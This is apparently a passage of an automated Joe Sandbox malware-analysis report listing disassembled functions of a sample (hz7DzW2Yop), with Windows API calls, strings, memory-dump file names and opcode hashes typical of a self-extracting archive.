Instruction ID: 287aa3b94e597aba1c2c8d04ffd2033efc9959b779afa3ed5fd2e47620da2628
Opcode Fuzzy Hash: 3948c8cb0670576adc49fc225a73b839508d7eb16439ab5b77dd0e7149300273
Instruction Fuzzy Hash: 12A011C23A880ABC300822002C03CBB022EC8C2F28330882EFC0280080A8800C820A30

Function 0091E55F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E51F

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d22620aa065b17bc5e5b12edfe84bcf40c257864b84bfdcd53ed3e40fbdeb004
Instruction ID: 287aa3b94e597aba1c2c8d04ffd2033efc9959b779afa3ed5fd2e47620da2628
Opcode Fuzzy Hash: d22620aa065b17bc5e5b12edfe84bcf40c257864b84bfdcd53ed3e40fbdeb004
Instruction Fuzzy Hash: 12A011C23A880ABC300822002C03CBB022EC8C2F28330882EFC0280080A8800C820A30

Function 0091E541 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E51F

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b34aba33af429b463a3cdca8cf05a0b6931b2a06325daa764bc406310c272758
Instruction ID: 287aa3b94e597aba1c2c8d04ffd2033efc9959b779afa3ed5fd2e47620da2628
Opcode Fuzzy Hash: b34aba33af429b463a3cdca8cf05a0b6931b2a06325daa764bc406310c272758
Instruction Fuzzy Hash: 12A011C23A880ABC300822002C03CBB022EC8C2F28330882EFC0280080A8800C820A30

Function 0091E573 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E580

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5b68ae2c7fc0fba89c7ab6e413689fe92ec7e0abe1db0988ba7e3c28ba376365
Instruction ID: 47a464e1ff6c46d7ebd26af5b40b1b4a9dbdc3d5b1acfcffcfa2dafb44945d29
Opcode Fuzzy Hash: 5b68ae2c7fc0fba89c7ab6e413689fe92ec7e0abe1db0988ba7e3c28ba376365
Instruction Fuzzy Hash: E2A011C2BA820A3C300822A02C03CBB022EC8C0B2E3308A2EFC00A0080A8800C820830

Function 0091E569 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E51F

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 060732dbc78263ea5a0773dfd0939096e52a2aa5a2c81c24e279fc830d085b4b
Instruction ID: 287aa3b94e597aba1c2c8d04ffd2033efc9959b779afa3ed5fd2e47620da2628
Opcode Fuzzy Hash: 060732dbc78263ea5a0773dfd0939096e52a2aa5a2c81c24e279fc830d085b4b
Instruction Fuzzy Hash: 12A011C23A880ABC300822002C03CBB022EC8C2F28330882EFC0280080A8800C820A30

Function 00909F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,0090903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00909F0C

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: f9a5b4d4b09f9b8e1334e6d2de488d7559b94be56cb44e4991fb163f2e1ee266
Instruction ID: bd9a01944b6aa0fd196469bb55bf9b48b3d24aa2616fdf5cb53e9bd8e12670c1
Opcode Fuzzy Hash: f9a5b4d4b09f9b8e1334e6d2de488d7559b94be56cb44e4991fb163f2e1ee266
Instruction Fuzzy Hash: 72A01230098009469D001B30CA0400C3710E7107C030041945006CA461C71644079A00

Function 0091AC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,0091AE72,C:\Users\user\Desktop,00000000,0094946A,00000006), ref: 0091AC08

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 50a20f73fd350890931f21e46f65b58b57d6708107639114f19dafa24a449d31
Instruction ID: 2e79c926c055df57999d593ea389ccc051620a3b304056bbd5ff2fc0573ced2e
Opcode Fuzzy Hash: 50a20f73fd350890931f21e46f65b58b57d6708107639114f19dafa24a449d31
Instruction Fuzzy Hash: 75A011302082008B82000B328F0AA0EBAAAAFA2B20F00C028A00080030CB30C820BA00

Function 00909620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,009095D6,?,?,?,?,?,00932641,000000FF), ref: 0090963B

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: edf2cd1fe782dd4ea2cb3ed54b595c6b591d976f87a31b9848b5fa250e3f33d0
Instruction ID: bcbcb6e87e5b6d700166c0b257ef3737ea959da2ca8e0d034611a9ddbc235f80
Opcode Fuzzy Hash: edf2cd1fe782dd4ea2cb3ed54b595c6b591d976f87a31b9848b5fa250e3f33d0
Instruction Fuzzy Hash: 18F082704D5B159FDB308A64C458B92B7ECAF12321F045B1ED0E6429E1D772698D9A40

Non-executed Functions

Function 0091C220 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00901316: GetDlgItem.USER32(00000000,00003021), ref: 0090135A
Part of subcall function 00901316: SetWindowTextW.USER32(00000000,009335F4), ref: 00901370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0091C2B1
EndDialog.USER32(?,00000006), ref: 0091C2C4
GetDlgItem.USER32(?,0000006C), ref: 0091C2E0
SetFocus.USER32(00000000), ref: 0091C2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0091C321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0091C358
FindFirstFileW.KERNEL32(?,?), ref: 0091C36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0091C38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0091C39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0091C3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0091C3D4
_swprintf.LIBCMT ref: 0091C404

Part of subcall function 00904092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 009040A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0091C417
FindClose.KERNEL32(00000000), ref: 0091C41E
_swprintf.LIBCMT ref: 0091C477
SetDlgItemTextW.USER32(?,00000068,?), ref: 0091C48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0091C4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0091C4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 0091C4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0091C4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0091C509
_swprintf.LIBCMT ref: 0091C535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0091C548
_swprintf.LIBCMT ref: 0091C59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0091C5AF

Part of subcall function 0091AF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0091AF35
Part of subcall function 0091AF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,0093E72C,?,?), ref: 0091AF84

Strings

%s %s %s, xrefs: 0091C3F2, 0091C527
REPLACEFILEDLG, xrefs: 0091C247
%s %s, xrefs: 0091C469, 0091C58E

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 40db2ce9338316655fd4a01c2a901321e3742d94181496e29f02c686e6d7bf58
Instruction ID: 8444a493f175edb206a4159dec6fc76dde1879a6068c3d565cc1ab7de4f96b8e
Opcode Fuzzy Hash: 40db2ce9338316655fd4a01c2a901321e3742d94181496e29f02c686e6d7bf58
Instruction Fuzzy Hash: BB91A7B229C348BFD221DBA0DD49FFB77ACEB8A704F044819F645D2081D775EA449B62

Function 00906FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00906FAA
_wcslen.LIBCMT ref: 00907013
_wcslen.LIBCMT ref: 00907084

Part of subcall function 00907A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00907AAB
Part of subcall function 00907A9C: GetLastError.KERNEL32 ref: 00907AF1
Part of subcall function 00907A9C: CloseHandle.KERNEL32(?), ref: 00907B00

Part of subcall function 0090A1E0: DeleteFileW.KERNELBASE(000000FF,?,?,0090977F,?,?,009095CF,?,?,?,?,?,00932641,000000FF), ref: 0090A1F1
Part of subcall function 0090A1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0090977F,?,?,009095CF,?,?,?,?,?,00932641), ref: 0090A21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00907139
CloseHandle.KERNEL32(00000000), ref: 00907155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00907298

Part of subcall function 00909DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,009073BC,?,?,?,00000000), ref: 00909DBC
Part of subcall function 00909DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00909E70

Part of subcall function 00909620: CloseHandle.KERNELBASE(000000FF,?,?,009095D6,?,?,?,?,?,00932641,000000FF), ref: 0090963B

Part of subcall function 0090A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0090A325,?,?,?,0090A175,?,00000001,00000000,?,?), ref: 0090A501
Part of subcall function 0090A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0090A325,?,?,?,0090A175,?,00000001,00000000,?,?), ref: 0090A532

Strings

SeRestorePrivilege, xrefs: 00906FC2
SeCreateSymbolicLinkPrivilege, xrefs: 00906FCC
\??\, xrefs: 0090702B
UNC\, xrefs: 00907051

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
Opcode ID: 821f0ae85ee6a1ed13461a5406ddecfc7d82ac7e814fd00841f00a64cbe0a043
Instruction ID: b61a9844d940a997a093324225469ea987bad56454e44f153ebffe75f3c5cafe
Opcode Fuzzy Hash: 821f0ae85ee6a1ed13461a5406ddecfc7d82ac7e814fd00841f00a64cbe0a043
Instruction Fuzzy Hash: 23C1C071D08604AEEB25DBB4DC81BEEF3ACAF44310F00455AF956E71C2D774BA848B61

Function 0092D8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0092DA34

Strings

1#INF, xrefs: 0092EC41
1#SNAN, xrefs: 0092EC33
1#IND, xrefs: 0092EC2C
1#QNAN, xrefs: 0092EC3A

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 50af2d1170729a94c0ce4ff15d7712eca5576375799d86625fa10133c7aca8d7
Instruction ID: 6fbcd172af84cd41fcddc18ce9a950e8953b55cfd5a0aa4e9bdf07509acd5ff8
Opcode Fuzzy Hash: 50af2d1170729a94c0ce4ff15d7712eca5576375799d86625fa10133c7aca8d7
Instruction Fuzzy Hash: 1EC24E71E096388FDB25CE28ED807EAB7B9EB44305F1545EAD44DE7244E778AE818F40

Function 009032F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00903300
_swprintf.LIBCMT ref: 009036C7

Strings

h%u, xrefs: 009036BC
CMT, xrefs: 00903A17
hc%u, xrefs: 0090370A

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: f20c956416452a83f9fe6afd7883d967582a27f00775529d3de7f48ff43c598f
Instruction ID: 82a3aeaceb1ec6c3f063e10cad37a2f7ca27d188042031d51e9bce9ba5b56fd1
Opcode Fuzzy Hash: f20c956416452a83f9fe6afd7883d967582a27f00775529d3de7f48ff43c598f
Instruction Fuzzy Hash: 7332B471614384AFDB14DF74C896BE93BA9AF55300F04857DFD8A8B2C2DB749A49CB20

Function 0090286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00902874
_strlen.LIBCMT ref: 00902E3F

Part of subcall function 009102BA: __EH_prolog.LIBCMT ref: 009102BF

Part of subcall function 00911B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0090BAE9,00000000,?,?,?,00010464), ref: 00911BA0

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00902F91

Strings

CMT, xrefs: 00902FBC

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: a6e4c6680f2d38d1ae473c7eeac921ac764759365bbb2a089bcfd2222f8e76b2
Instruction ID: e312cbe3e87fad463b449a1c716c0f188f8c91410c05221299345e3fbf6ee7b2
Opcode Fuzzy Hash: a6e4c6680f2d38d1ae473c7eeac921ac764759365bbb2a089bcfd2222f8e76b2
Instruction Fuzzy Hash: 9462F6716003458FDF19DF38C88A7EA3BA5AF55300F08857EED9A8B2C2DB759945CB60

Function 0091F838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0091F844
IsDebuggerPresent.KERNEL32 ref: 0091F910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0091F930
UnhandledExceptionFilter.KERNEL32(?), ref: 0091F93A

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: ec3852d879d2b79690527b777d6f4a3a015b79052c8d7497377670ba1ff36508
Instruction ID: 91776bb4d66a3711cfd015ad1cc588b4ec8bd0659ec8327417f1a33adcabbf1b
Opcode Fuzzy Hash: ec3852d879d2b79690527b777d6f4a3a015b79052c8d7497377670ba1ff36508
Instruction Fuzzy Hash: 27312975D4521DDBDB21DFA4D9897CCBBB8AF08304F1040EAE40DAB250EB759B859F44

Function 0091E6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,0091E5E8,0000001C,0091E7DD,00000000,?,?,?,?,?,?,?,0091E5E8,00000004,00961CEC,0091E86D), ref: 0091E6B4
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,0091E5E8,00000004,00961CEC,0091E86D), ref: 0091E6CF

Strings

D, xrefs: 0091E6C3

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: ca670b23b9add8be6cc32bf8ade21eb3f468b796f9f2f6cda475e3a6952e6c30
Instruction ID: 08faa665430d767dae411648b012171240a796713ed56b1c1f722e84bb492726
Opcode Fuzzy Hash: ca670b23b9add8be6cc32bf8ade21eb3f468b796f9f2f6cda475e3a6952e6c30
Instruction Fuzzy Hash: B601D4327401096BDF14DE69DC09ADD7BAAAFC4324F0CC120ED19D7150D638DD458680

Function 00928EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00928FB5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00928FBF
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00928FCC

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

